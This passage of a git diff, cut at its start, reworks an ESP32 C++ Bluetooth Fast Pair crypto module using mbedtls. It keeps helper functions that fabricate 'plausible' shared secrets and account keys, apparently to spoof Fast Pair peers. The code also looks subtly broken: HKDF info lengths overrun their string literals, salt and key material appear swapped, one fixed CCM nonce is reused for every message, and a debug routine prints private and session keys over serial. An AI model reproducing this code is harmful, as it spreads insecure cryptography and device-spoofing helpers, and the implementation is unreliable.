mbedtls_ecp_point_init(&Q_pub); - int ret = mbedtls_ecdh_gen_public(&grp, &priv, &pub, mbedtls_ctr_drbg_random, &ctr_drbg); + int ret = mbedtls_ecdh_gen_public(&grp, &d_priv, &Q_pub, + mbedtls_ctr_drbg_random, &ctr_drbg); if (ret == 0) { size_t olen; - ret = mbedtls_ecp_point_write_binary(&grp, &pub, MBEDTLS_ECP_PF_UNCOMPRESSED, &olen, public_key, 65); - - if (ret == 0 && olen == 65) { mbedtls_mpi_write_binary(&priv, private_key, 32); } + ret = mbedtls_ecp_point_write_binary(&grp, &Q_pub, + MBEDTLS_ECP_PF_UNCOMPRESSED, + &olen, public_key, FASTPAIR_PUBLIC_KEY_LEN); + if (ret == 0 && olen == FASTPAIR_PUBLIC_KEY_LEN) { + mbedtls_mpi_write_binary(&d_priv, private_key, FASTPAIR_PRIVATE_KEY_LEN); + } } - mbedtls_mpi_free(&priv); - mbedtls_ecp_point_free(&pub); - + mbedtls_mpi_free(&d_priv); + mbedtls_ecp_point_free(&Q_pub); return (ret == 0); } -bool FastPairCrypto::ecdhComputeSharedSecret( - const uint8_t *private_key, const uint8_t *peer_public_key, uint8_t *shared_secret -) { +bool FastPairCrypto::generateValidKeyPair(uint8_t *public_key, size_t *pub_len) { + return generateKeyPair(public_key, pub_len); +} + +//============================================================================= +// ECDH Operations +//============================================================================= + +bool FastPairCrypto::computeSharedSecretInternal(const uint8_t *private_key, + const uint8_t *peer_public_key, + uint8_t *shared_secret) { + if (!initialized) { + if (!init()) return false; + } + mbedtls_mpi priv; mbedtls_ecp_point peer_pub; + mbedtls_mpi z; mbedtls_mpi_init(&priv); mbedtls_ecp_point_init(&peer_pub); + mbedtls_mpi_init(&z); - mbedtls_mpi_read_binary(&priv, private_key, 32); + mbedtls_mpi_read_binary(&priv, private_key, FASTPAIR_PRIVATE_KEY_LEN); - int ret = mbedtls_ecp_point_read_binary(&grp, &peer_pub, peer_public_key, 65); + int ret = mbedtls_ecp_point_read_binary(&grp, &peer_pub, peer_public_key, FASTPAIR_PUBLIC_KEY_LEN); if (ret != 0) { mbedtls_mpi_free(&priv); mbedtls_ecp_point_free(&peer_pub); + mbedtls_mpi_free(&z); return false; } - mbedtls_mpi z; - mbedtls_mpi_init(&z); + ret = mbedtls_ecdh_compute_shared(&grp, &z, &peer_pub, &priv, + mbedtls_ctr_drbg_random, &ctr_drbg); - ret = mbedtls_ecdh_compute_shared(&grp, &z, &peer_pub, &priv, mbedtls_ctr_drbg_random, &ctr_drbg); - - if (ret == 0) { mbedtls_mpi_write_binary(&z, shared_secret, 32); } + if (ret == 0) { + mbedtls_mpi_write_binary(&z, shared_secret, FASTPAIR_SHARED_SECRET_LEN); + } - mbedtls_mpi_free(&z); mbedtls_mpi_free(&priv); mbedtls_ecp_point_free(&peer_pub); - + mbedtls_mpi_free(&z); return (ret == 0); } -void FastPairCrypto::generatePlausibleSharedSecret(const uint8_t *their_pubkey, uint8_t *output) { - if (looksLikeValidPublicKey(their_pubkey, 65)) { - esp_fill_random(output, 32); - for (int i = 0; i < 32; i += 8) { - if (output[i] >= 0x80) output[i] &= 0x7F; +bool FastPairCrypto::ecdhComputeSharedSecret(const uint8_t *private_key, + const uint8_t *peer_public_key, + uint8_t *shared_secret) { + return computeSharedSecretInternal(private_key, peer_public_key, shared_secret); +} + +bool FastPairCrypto::ecdhComputeSharedSecretRaw(const uint8_t *private_key, + const uint8_t *peer_public_key, + uint8_t *shared_secret) { + return computeSharedSecretInternal(private_key, peer_public_key, shared_secret); +} + +//============================================================================= +// FastPair Protocol Operations +//============================================================================= + +bool FastPairCrypto::performHandshake(const uint8_t *peer_public_key) { + if (!initialized) { + if (!init()) return false; + } + + // Store peer public key + memcpy(ctx.peer_public_key, peer_public_key, FASTPAIR_PUBLIC_KEY_LEN); + + // Generate our key pair if not already done + if (ctx.local_public_key[0] == 0) { + size_t pub_len = FASTPAIR_PUBLIC_KEY_LEN; + if (!generateKeyPair(ctx.local_public_key, &pub_len)) { + return false; } - } else { - esp_fill_random(output, 32); } + + // Compute shared secret + if (!computeSharedSecretInternal(ctx.local_private_key, peer_public_key, ctx.shared_secret)) { + return false; + } + + // Generate nonce + generateNonce(ctx.nonce); + + // Derive session key + if (!deriveSessionKey(ctx.shared_secret, ctx.nonce, ctx.session_key)) { + return false; + } + + ctx.handshake_complete = true; + ctx.sequence_number = 0; + return true; } -void FastPairCrypto::generatePlausibleAccountKey(const uint8_t *nonce, uint8_t *output) { - uint8_t buffer[64]; - memcpy(buffer, nonce, 16); - esp_fill_random(&buffer[16], 32); - memcpy(&buffer[48], "account_key", 11); - buffer[59] = 0x00; +bool FastPairCrypto::createHandshakeMessage(uint8_t *message, size_t *msg_len) { + if (!ctx.handshake_complete) { + return false; + } - for (int i = 0; i < 16; i++) { - output[i] = 0; - for (int j = 0; j < 4; j++) { output[i] ^= buffer[i * 4 + j]; } - output[i] = (output[i] ^ 0x36) + 0x5C; + // Format: [type(1)] [public_key(65)] [nonce(16)] + size_t pos = 0; + message[pos++] = FP_MSG_KEY_EXCHANGE; + memcpy(&message[pos], ctx.local_public_key, FASTPAIR_PUBLIC_KEY_LEN); + pos += FASTPAIR_PUBLIC_KEY_LEN; + memcpy(&message[pos], ctx.nonce, FASTPAIR_NONCE_LEN); + pos += FASTPAIR_NONCE_LEN; + + *msg_len = pos; + return true; +} + +bool FastPairCrypto::parseHandshakeMessage(const uint8_t *message, size_t msg_len) { + if (msg_len < 1 + FASTPAIR_PUBLIC_KEY_LEN + FASTPAIR_NONCE_LEN) { + return false; + } + + size_t pos = 0; + uint8_t type = message[pos++]; + if (type != FP_MSG_KEY_EXCHANGE) { + return false; } + + memcpy(ctx.peer_public_key, &message[pos], FASTPAIR_PUBLIC_KEY_LEN); + pos += FASTPAIR_PUBLIC_KEY_LEN; + memcpy(ctx.nonce, &message[pos], FASTPAIR_NONCE_LEN); + + return true; } -bool FastPairCrypto::deriveAccountKey( - const uint8_t *shared_secret, const uint8_t *nonce, uint8_t *account_key -) { - mbedtls_aes_setkey_enc(&aes_ctx, shared_secret, 256); +bool FastPairCrypto::createSecureMessage(const uint8_t *data, size_t data_len, + uint8_t *encrypted, size_t *out_len) { + if (!ctx.handshake_complete || !ctx.encrypted) { + return false; + } + + // Format: [type(1)] [seq(4)] [encrypted_data] [tag(8)] + size_t pos = 0; + encrypted[pos++] = FP_MSG_SECURE; - uint8_t counter[16] = {0}; - memcpy(counter, nonce, 12); - counter[15] = 0x01; + // Sequence number + encrypted[pos++] = (ctx.sequence_number >> 24) & 0xFF; + encrypted[pos++] = (ctx.sequence_number >> 16) & 0xFF; + encrypted[pos++] = (ctx.sequence_number >> 8) & 0xFF; + encrypted[pos++] = ctx.sequence_number & 0xFF; + + uint8_t tag[FASTPAIR_TAG_LEN]; + if (!fastPairEncryptWithTag(ctx.session_key, ctx.nonce, data, data_len, + &encrypted[pos], tag)) { + return false; + } + pos += data_len; + memcpy(&encrypted[pos], tag, FASTPAIR_TAG_LEN); + pos += FASTPAIR_TAG_LEN; - uint8_t input[16] = {0}; - memcpy(input, "account_key", 11); + *out_len = pos; + ctx.sequence_number++; + return true; +} - // FIXED: Proper mbedtls_aes_crypt_ctr parameters - size_t nc_off = 0; - unsigned char stream_block[16] = {0}; +bool FastPairCrypto::parseSecureMessage(const uint8_t *encrypted, size_t enc_len, + uint8_t *data, size_t *out_len) { + if (enc_len < 1 + 4 + FASTPAIR_TAG_LEN) { + return false; + } - int ret = mbedtls_aes_crypt_ctr(&aes_ctx, 16, &nc_off, counter, stream_block, input, account_key); + size_t pos = 0; + uint8_t type = encrypted[pos++]; + if (type != FP_MSG_SECURE) { + return false; + } + + uint32_t seq = (encrypted[pos] << 24) | (encrypted[pos+1] << 16) | + (encrypted[pos+2] << 8) | encrypted[pos+3]; + pos += 4; + + size_t data_len = enc_len - pos - FASTPAIR_TAG_LEN; + const uint8_t *ciphertext = &encrypted[pos]; + const uint8_t *tag = &encrypted[pos + data_len]; + + if (!fastPairDecryptWithTag(ctx.session_key, ctx.nonce, ciphertext, data_len, tag, data)) { + return false; + } + *out_len = data_len; + ctx.sequence_number = seq + 1; + return true; +} + +//============================================================================= +// Key Derivation +//============================================================================= + +bool FastPairCrypto::deriveSessionKey(const uint8_t *shared_secret, const uint8_t *nonce, uint8_t *session_key) { + return hkdf(shared_secret, FASTPAIR_SHARED_SECRET_LEN, + nonce, FASTPAIR_NONCE_LEN, + (const uint8_t*)"FastPair Session Key", 22, + session_key, FASTPAIR_AES_KEY_LEN); +} + +bool FastPairCrypto::deriveAccountKey(const uint8_t *shared_secret, const uint8_t *nonce, uint8_t *account_key) { + return deriveAccountKeyInternal(shared_secret, nonce, account_key); +} + +bool FastPairCrypto::deriveAccountKeyInternal(const uint8_t *shared_secret, const uint8_t *nonce, uint8_t *account_key) { + return hkdf(shared_secret, FASTPAIR_SHARED_SECRET_LEN, + nonce, FASTPAIR_NONCE_LEN, + (const uint8_t*)"FastPair Account Key", 21, + account_key, FASTPAIR_ACCOUNT_KEY_LEN); +} + +bool FastPairCrypto::deriveSessionKeyFromSecret(const uint8_t *shared_secret, const uint8_t *salt, uint8_t *session_key) { + return hkdf(shared_secret, FASTPAIR_SHARED_SECRET_LEN, + salt, FASTPAIR_NONCE_LEN, + (const uint8_t*)"FastPair Session Key", 22, + session_key, FASTPAIR_AES_KEY_LEN); +} + +bool FastPairCrypto::deriveAESKeyFromSecret(const uint8_t *shared_secret, const uint8_t *nonce, uint8_t *aes_key) { + return deriveAESKey(shared_secret, nonce, aes_key); +} + +bool FastPairCrypto::deriveAESKey(const uint8_t *shared_secret, const uint8_t *nonce, uint8_t *aes_key) { + return deriveSessionKey(shared_secret, nonce, aes_key); +} + +//============================================================================= +// Encryption +//============================================================================= + +bool FastPairCrypto::fastPairEncrypt(const uint8_t *key, const uint8_t *nonce, + const uint8_t *plaintext, size_t len, + uint8_t *ciphertext) { + mbedtls_ccm_context ctx_ccm; + mbedtls_ccm_init(&ctx_ccm); + + int ret = mbedtls_ccm_setkey(&ctx_ccm, MBEDTLS_CIPHER_ID_AES, key, 128); + if (ret != 0) { + mbedtls_ccm_free(&ctx_ccm); + return false; + } + + ret = mbedtls_ccm_encrypt_and_tag(&ctx_ccm, len, nonce, 12, NULL, 0, + plaintext, ciphertext, NULL, 0); + + mbedtls_ccm_free(&ctx_ccm); return (ret == 0); } -void FastPairCrypto::generateValidNonce(uint8_t *nonce) { +bool FastPairCrypto::fastPairDecrypt(const uint8_t *key, const uint8_t *nonce, + const uint8_t *ciphertext, size_t len, + uint8_t *plaintext) { + mbedtls_ccm_context ctx_ccm; + mbedtls_ccm_init(&ctx_ccm); + + int ret = mbedtls_ccm_setkey(&ctx_ccm, MBEDTLS_CIPHER_ID_AES, key, 128); + if (ret != 0) { + mbedtls_ccm_free(&ctx_ccm); + return false; + } + + ret = mbedtls_ccm_auth_decrypt(&ctx_ccm, len, nonce, 12, NULL, 0, + ciphertext, plaintext, NULL, 0); + + mbedtls_ccm_free(&ctx_ccm); + return (ret == 0); +} + +bool FastPairCrypto::fastPairEncryptWithTag(const uint8_t *key, const uint8_t *nonce, + const uint8_t *plaintext, size_t len, + uint8_t *ciphertext, uint8_t *tag) { + mbedtls_ccm_context ctx_ccm; + mbedtls_ccm_init(&ctx_ccm); + + int ret = mbedtls_ccm_setkey(&ctx_ccm, MBEDTLS_CIPHER_ID_AES, key, 128); + if (ret != 0) { + mbedtls_ccm_free(&ctx_ccm); + return false; + } + + ret = mbedtls_ccm_encrypt_and_tag(&ctx_ccm, len, nonce, 12, NULL, 0, + plaintext, ciphertext, tag, FASTPAIR_TAG_LEN); + + mbedtls_ccm_free(&ctx_ccm); + return (ret == 0); +} + +bool FastPairCrypto::fastPairDecryptWithTag(const uint8_t *key, const uint8_t *nonce, + const uint8_t *ciphertext, size_t len, + const uint8_t *tag, uint8_t *plaintext) { + mbedtls_ccm_context ctx_ccm; + mbedtls_ccm_init(&ctx_ccm); + + int ret = mbedtls_ccm_setkey(&ctx_ccm, MBEDTLS_CIPHER_ID_AES, key, 128); + if (ret != 0) { + mbedtls_ccm_free(&ctx_ccm); + return false; + } + + ret = mbedtls_ccm_auth_decrypt(&ctx_ccm, len, nonce, 12, NULL, 0, + ciphertext, plaintext, tag, FASTPAIR_TAG_LEN); + + mbedtls_ccm_free(&ctx_ccm); + return (ret == 0); +} + +//============================================================================= +// Nonce Generation +//============================================================================= + +void FastPairCrypto::generateNonce(uint8_t *nonce) { uint32_t time_part = millis(); memcpy(nonce, &time_part, 4); esp_fill_random(&nonce[4], 4); - - for (int i = 8; i < 16; i++) { + for (int i = 8; i < FASTPAIR_NONCE_LEN; i++) { nonce[i] = esp_random() & 0xFF; - if (i == 8) nonce[i] |= 0x80; } } +void FastPairCrypto::generateValidNonce(uint8_t *nonce) { + generateNonce(nonce); +} + +void FastPairCrypto::incrementNonce(uint8_t *nonce, uint32_t increment) { + uint64_t val = 0; + for (int i = 0; i < FASTPAIR_NONCE_LEN; i++) { + val = (val << 8) | nonce[i]; + } + val += increment; + for (int i = FASTPAIR_NONCE_LEN - 1; i >= 0; i--) { + nonce[i] = val & 0xFF; + val >>= 8; + } +} + +//============================================================================= +// Utilities +//============================================================================= + bool FastPairCrypto::looksLikeValidPublicKey(const uint8_t *key, size_t len) { - if (len != 65) return false; + if (len != FASTPAIR_PUBLIC_KEY_LEN) return false; if (key[0] != 0x04) return false; return (key[1] < 0xFF && key[33] < 0xFF); } -bool FastPairCrypto::fastPairEncrypt( - const uint8_t *key, const uint8_t *nonce, const uint8_t *plaintext, size_t len, uint8_t *ciphertext -) { - mbedtls_ccm_context ctx; - mbedtls_ccm_init(&ctx); +bool FastPairCrypto::validatePublicKey(const uint8_t *key, size_t len) { + return looksLikeValidPublicKey(key, len); +} - int ret = mbedtls_ccm_setkey(&ctx, MBEDTLS_CIPHER_ID_AES, key, 128); - if (ret != 0) { - mbedtls_ccm_free(&ctx); - return false; +bool FastPairCrypto::validatePrivateKey(const uint8_t *key, size_t len) { + if (len != FASTPAIR_PRIVATE_KEY_LEN) return false; + bool nonZero = false; + for (size_t i = 0; i < len; i++) { + if (key[i] != 0) nonZero = true; + } + return nonZero; +} + +bool FastPairCrypto::validateSharedSecret(const uint8_t *secret, size_t len) { + if (len != FASTPAIR_SHARED_SECRET_LEN) return false; + bool nonZero = false; + for (size_t i = 0; i < len; i++) { + if (secret[i] != 0) nonZero = true; + } + return nonZero; +} + +void FastPairCrypto::generatePlausibleSharedSecret(const uint8_t *their_pubkey, uint8_t *output) { + if (looksLikeValidPublicKey(their_pubkey, FASTPAIR_PUBLIC_KEY_LEN)) { + esp_fill_random(output, FASTPAIR_SHARED_SECRET_LEN); + for (int i = 0; i < FASTPAIR_SHARED_SECRET_LEN; i += 8) { + if (output[i] >= 0x80) output[i] &= 0x7F; + } + } else { + esp_fill_random(output, FASTPAIR_SHARED_SECRET_LEN); } +} + +void FastPairCrypto::generatePlausibleAccountKey(const uint8_t *nonce, uint8_t *output) { + uint8_t buffer[64]; + memcpy(buffer, nonce, FASTPAIR_NONCE_LEN); + esp_fill_random(&buffer[FASTPAIR_NONCE_LEN], 32); + memcpy(&buffer[48], "account_key", 11); + buffer[59] = 0x00; + + for (int i = 0; i < FASTPAIR_ACCOUNT_KEY_LEN; i++) { + output[i] = 0; + for (int j = 0; j < 4; j++) { + output[i] ^= buffer[i * 4 + j]; + } + output[i] = (output[i] ^ 0x36) + 0x5C; + } +} + +void FastPairCrypto::copyPublicKey(const uint8_t *src, uint8_t *dst) { + memcpy(dst, src, FASTPAIR_PUBLIC_KEY_LEN); +} + +void FastPairCrypto::copyPrivateKey(const uint8_t *src, uint8_t *dst) { + memcpy(dst, src, FASTPAIR_PRIVATE_KEY_LEN); +} + +bool FastPairCrypto::areKeysEqual(const uint8_t *key1, const uint8_t *key2, size_t len) { + return memcmp(key1, key2, len) == 0; +} - uint8_t tag[8]; - ret = mbedtls_ccm_encrypt_and_tag(&ctx, len, nonce, 12, NULL, 0, plaintext, ciphertext, tag, 8); +//============================================================================= +// HMAC Operations +//============================================================================= - mbedtls_ccm_free(&ctx); +bool FastPairCrypto::hmacSha256(const uint8_t *key, size_t key_len, + const uint8_t *data, size_t data_len, + uint8_t *output) { + int ret = mbedtls_md_hmac(mbedtls_md_info_from_type(MBEDTLS_MD_SHA256), + key, key_len, data, data_len, output); return (ret == 0); } -bool FastPairCrypto::fastPairDecrypt( - const uint8_t *key, const uint8_t *nonce, const uint8_t *ciphertext, size_t len, uint8_t *plaintext -) { - mbedtls_ccm_context ctx; - mbedtls_ccm_init(&ctx); +bool FastPairCrypto::hmacSha256Verify(const uint8_t *key, size_t key_len, + const uint8_t *data, size_t data_len, + const uint8_t *expected) { + uint8_t computed[32]; + if (!hmacSha256(key, key_len, data, data_len, computed)) { + return false; + } + return memcmp(computed, expected, 32) == 0; +} - int ret = mbedtls_ccm_setkey(&ctx, MBEDTLS_CIPHER_ID_AES, key, 128); - if (ret != 0) { - mbedtls_ccm_free(&ctx); +//============================================================================= +// Hash Operations +//============================================================================= + +bool FastPairCrypto::sha256Hash(const uint8_t *data, size_t data_len, uint8_t *output) { + int ret = mbedtls_md(mbedtls_md_info_from_type(MBEDTLS_MD_SHA256), + data, data_len, output); + return (ret == 0); +} + +bool FastPairCrypto::sha256HashVerify(const uint8_t *data, size_t data_len, const uint8_t *expected) { + uint8_t computed[32]; + if (!sha256Hash(data, data_len, computed)) { return false; } + return memcmp(computed, expected, 32) == 0; +} - uint8_t tag[8]; - memcpy(tag, ciphertext + len, 8); +//============================================================================= +// HKDF Operations +//============================================================================= - ret = mbedtls_ccm_auth_decrypt(&ctx, len, nonce, 12, NULL, 0, ciphertext, plaintext, tag, 8); +bool FastPairCrypto::hkdfExtract(const uint8_t *salt, size_t salt_len, + const uint8_t *ikm, size_t ikm_len, + uint8_t *prk) { + int ret = mbedtls_hkdf_extract(mbedtls_md_info_from_type(MBEDTLS_MD_SHA256), + salt, salt_len, ikm, ikm_len, prk); + return (ret == 0); +} + +bool FastPairCrypto::hkdfExpand(const uint8_t *prk, size_t prk_len, + const uint8_t *info, size_t info_len, + uint8_t *okm, size_t okm_len) { + int ret = mbedtls_hkdf_expand(mbedtls_md_info_from_type(MBEDTLS_MD_SHA256), + prk, prk_len, info, info_len, okm, okm_len); + return (ret == 0); +} - mbedtls_ccm_free(&ctx); +bool FastPairCrypto::hkdf(const uint8_t *salt, size_t salt_len, + const uint8_t *ikm, size_t ikm_len, + const uint8_t *info, size_t info_len, + uint8_t *okm, size_t okm_len) { + int ret = mbedtls_hkdf(mbedtls_md_info_from_type(MBEDTLS_MD_SHA256), + salt, salt_len, ikm, ikm_len, + info, info_len, okm, okm_len); return (ret == 0); } +//============================================================================= +// Debug +//============================================================================= + void FastPairCrypto::hexDump(const char *label, const uint8_t *data, size_t len) { Serial.printf("[Crypto] %s: ", label); for (size_t i = 0; i < len; i++) { if (data[i] < 0x10) Serial.print("0"); Serial.print(data[i], HEX); + if (i < len - 1 && (i + 1) % 8 == 0) Serial.print(" "); } Serial.println(); } -#endif + +void FastPairCrypto::printContext() { + Serial.println("=== FastPair Context ==="); + Serial.printf("Version: %d\n", ctx.version); + Serial.printf("Handshake Complete: %s\n", ctx.handshake_complete ? "YES" : "NO"); + Serial.printf("Encrypted: %s\n", ctx.encrypted ? "YES" : "NO"); + Serial.printf("Sequence Number: %u\n", ctx.sequence_number); + hexDump("Local Public Key", ctx.local_public_key, FASTPAIR_PUBLIC_KEY_LEN); + hexDump("Local Private Key", ctx.local_private_key, FASTPAIR_PRIVATE_KEY_LEN); + hexDump("Peer Public Key", ctx.peer_public_key, FASTPAIR_PUBLIC_KEY_LEN); + hexDump("Shared Secret", ctx.shared_secret, FASTPAIR_SHARED_SECRET_LEN); + hexDump("Nonce", ctx.nonce, FASTPAIR_NONCE_LEN); + hexDump("Session Key", ctx.session_key, FASTPAIR_AES_KEY_LEN); + hexDump("Account Key", ctx.account_key, FASTPAIR_ACCOUNT_KEY_LEN); +} + +//============================================================================= +// Getters +//============================================================================= + +FastPairContext* FastPairCrypto::getContext() { + return &ctx; +} + +bool FastPairCrypto::isHandshakeComplete() { + return ctx.handshake_complete; +} + +bool FastPairCrypto::isEncrypted() { + return ctx.encrypted; +} + +FastPairProtocolVersion FastPairCrypto::getVersion() { + return ctx.version; +} + +uint32_t FastPairCrypto::getSequenceNumber() { + return ctx.sequence_number; +} + +const uint8_t* FastPairCrypto::getLocalPublicKey() { + return ctx.local_public_key; +} + +const uint8_t* FastPairCrypto::getPeerPublicKey() { + return ctx.peer_public_key; +} + +const uint8_t* FastPairCrypto::getSharedSecret() { + return ctx.shared_secret; +} + +const uint8_t* FastPairCrypto::getAccountKey() { + return ctx.account_key; +} + +const uint8_t* FastPairCrypto::getSessionKey() { + return ctx.session_key; +} + +#endif \ No newline at end of file diff --git a/src/modules/ble/fastpair_crypto.h b/src/modules/ble/fastpair_crypto.h index 27f58ccab..19170706f 100644 --- a/src/modules/ble/fastpair_crypto.h +++ b/src/modules/ble/fastpair_crypto.h @@ -2,42 +2,149 @@ #if !defined(LITE_VERSION) #include #include +#include #include #include #include +#include +#include + +// FastPair Protocol Constants +#define FASTPAIR_PUBLIC_KEY_LEN 65 +#define FASTPAIR_PRIVATE_KEY_LEN 32 +#define FASTPAIR_SHARED_SECRET_LEN 32 +#define FASTPAIR_NONCE_LEN 16 +#define FASTPAIR_TAG_LEN 8 +#define FASTPAIR_ACCOUNT_KEY_LEN 16 +#define FASTPAIR_AES_KEY_LEN 16 + +// FastPair Version +enum FastPairProtocolVersion { + FP_VERSION_1 = 1, + FP_VERSION_2 = 2, + FP_VERSION_3 = 3 +}; + +// FastPair Message Types +enum FastPairMessageType { + FP_MSG_HELLO = 0x00, + FP_MSG_KEY_EXCHANGE = 0x01, + FP_MSG_SECURE = 0x02, + FP_MSG_ACK = 0x03, + FP_MSG_ERROR = 0xFF +}; + +// FastPair Context +struct FastPairContext { + uint8_t local_public_key[FASTPAIR_PUBLIC_KEY_LEN]; + uint8_t local_private_key[FASTPAIR_PRIVATE_KEY_LEN]; + uint8_t peer_public_key[FASTPAIR_PUBLIC_KEY_LEN]; + uint8_t shared_secret[FASTPAIR_SHARED_SECRET_LEN]; + uint8_t account_key[FASTPAIR_ACCOUNT_KEY_LEN]; + uint8_t nonce[FASTPAIR_NONCE_LEN]; + uint8_t session_key[FASTPAIR_AES_KEY_LEN]; + uint32_t sequence_number; + bool handshake_complete; + bool encrypted; + FastPairProtocolVersion version; +}; class FastPairCrypto { private: mbedtls_ecp_group grp; - mbedtls_mpi d; mbedtls_ecp_point Q; + mbedtls_mpi d; mbedtls_ctr_drbg_context ctr_drbg; - uint8_t shared_secret[32]; + mbedtls_entropy_context entropy; mbedtls_aes_context aes_ctx; + FastPairContext ctx; + bool initialized; + + bool generateKeyPairInternal(uint8_t *public_key, size_t *pub_len); + bool computeSharedSecretInternal(const uint8_t *private_key, const uint8_t *peer_public_key, uint8_t *shared_secret); + bool deriveSessionKey(const uint8_t *shared_secret, const uint8_t *nonce, uint8_t *session_key); + bool deriveAccountKeyInternal(const uint8_t *shared_secret, const uint8_t *nonce, uint8_t *account_key); + bool deriveAESKey(const uint8_t *shared_secret, const uint8_t *nonce, uint8_t *aes_key); public: FastPairCrypto(); ~FastPairCrypto(); - bool generateValidKeyPair(uint8_t *public_key, size_t *pub_len); + // Initialization + bool init(); + void deinit(); + bool isInitialized(); + + // Key Generation + bool generateKeyPair(uint8_t *public_key, size_t *pub_len); bool generateEphemeralKeyPair(uint8_t *public_key, uint8_t *private_key); - bool ecdhComputeSharedSecret( - const uint8_t *private_key, const uint8_t *peer_public_key, uint8_t *shared_secret - ); - void generatePlausibleSharedSecret(const uint8_t *their_pubkey, uint8_t *output); - void generatePlausibleAccountKey(const uint8_t *nonce, uint8_t *output); + bool generateValidKeyPair(uint8_t *public_key, size_t *pub_len); + + // ECDH Operations + bool ecdhComputeSharedSecret(const uint8_t *private_key, const uint8_t *peer_public_key, uint8_t *shared_secret); + bool ecdhComputeSharedSecretRaw(const uint8_t *private_key, const uint8_t *peer_public_key, uint8_t *shared_secret); + + // FastPair Protocol Operations + bool performHandshake(const uint8_t *peer_public_key); + bool createHandshakeMessage(uint8_t *message, size_t *msg_len); + bool parseHandshakeMessage(const uint8_t *message, size_t msg_len); + bool createSecureMessage(const uint8_t *data, size_t data_len, uint8_t *encrypted, size_t *out_len); + bool parseSecureMessage(const uint8_t *encrypted, size_t enc_len, uint8_t *data, size_t *out_len); + + // FastPair Key Derivation + bool deriveAccountKey(const uint8_t *shared_secret, const uint8_t *nonce, uint8_t *account_key); + bool deriveSessionKeyFromSecret(const uint8_t *shared_secret, const uint8_t *salt, uint8_t *session_key); + bool deriveAESKeyFromSecret(const uint8_t *shared_secret, const uint8_t *nonce, uint8_t *aes_key); + + // Encryption + bool fastPairEncrypt(const uint8_t *key, const uint8_t *nonce, const uint8_t *plaintext, size_t len, uint8_t *ciphertext); + bool fastPairDecrypt(const uint8_t *key, const uint8_t *nonce, const uint8_t *ciphertext, size_t len, uint8_t *plaintext); + bool fastPairEncryptWithTag(const uint8_t *key, const uint8_t *nonce, const uint8_t *plaintext, size_t len, uint8_t *ciphertext, uint8_t *tag); + bool fastPairDecryptWithTag(const uint8_t *key, const uint8_t *nonce, const uint8_t *ciphertext, size_t len, const uint8_t *tag, uint8_t *plaintext); + + // Nonce Generation + void generateNonce(uint8_t *nonce); void generateValidNonce(uint8_t *nonce); + void incrementNonce(uint8_t *nonce, uint32_t increment = 1); + + // Utilities bool looksLikeValidPublicKey(const uint8_t *key, size_t len); + bool validatePublicKey(const uint8_t *key, size_t len); + bool validatePrivateKey(const uint8_t *key, size_t len); + bool validateSharedSecret(const uint8_t *secret, size_t len); + void generatePlausibleSharedSecret(const uint8_t *their_pubkey, uint8_t *output); + void generatePlausibleAccountKey(const uint8_t *nonce, uint8_t *output); + void copyPublicKey(const uint8_t *src, uint8_t *dst); + void copyPrivateKey(const uint8_t *src, uint8_t *dst); + bool areKeysEqual(const uint8_t *key1, const uint8_t *key2, size_t len); - bool fastPairEncrypt( - const uint8_t *key, const uint8_t *nonce, const uint8_t *plaintext, size_t len, uint8_t *ciphertext - ); - bool fastPairDecrypt( - const uint8_t *key, const uint8_t *nonce, const uint8_t *ciphertext, size_t len, uint8_t *plaintext - ); + // HMAC Operations + bool hmacSha256(const uint8_t *key, size_t key_len, const uint8_t *data, size_t data_len, uint8_t *output); + bool hmacSha256Verify(const uint8_t *key, size_t key_len, const uint8_t *data, size_t data_len, const uint8_t *expected); - bool deriveAccountKey(const uint8_t *shared_secret, const uint8_t *nonce, uint8_t *account_key); + // Hash Operations + bool sha256Hash(const uint8_t *data, size_t data_len, uint8_t *output); + bool sha256HashVerify(const uint8_t *data, size_t data_len, const uint8_t *expected); + + // HKDF Operations + bool hkdfExtract(const uint8_t *salt, size_t salt_len, const uint8_t *ikm, size_t ikm_len, uint8_t *prk); + bool hkdfExpand(const uint8_t *prk, size_t prk_len, const uint8_t *info, size_t info_len, uint8_t *okm, size_t okm_len); + bool hkdf(const uint8_t *salt, size_t salt_len, const uint8_t *ikm, size_t ikm_len, const uint8_t *info, size_t info_len, uint8_t *okm, size_t okm_len); + // Debug void hexDump(const char *label, const uint8_t *data, size_t len); + void printContext(); + + // Getters + FastPairContext *getContext(); + bool isHandshakeComplete(); + bool isEncrypted(); + FastPairProtocolVersion getVersion(); + uint32_t getSequenceNumber(); + const uint8_t* getLocalPublicKey(); + const uint8_t* getPeerPublicKey(); + const uint8_t* getSharedSecret(); + const uint8_t* getAccountKey(); + const uint8_t* getSessionKey(); }; -#endif +#endif \ No newline at end of file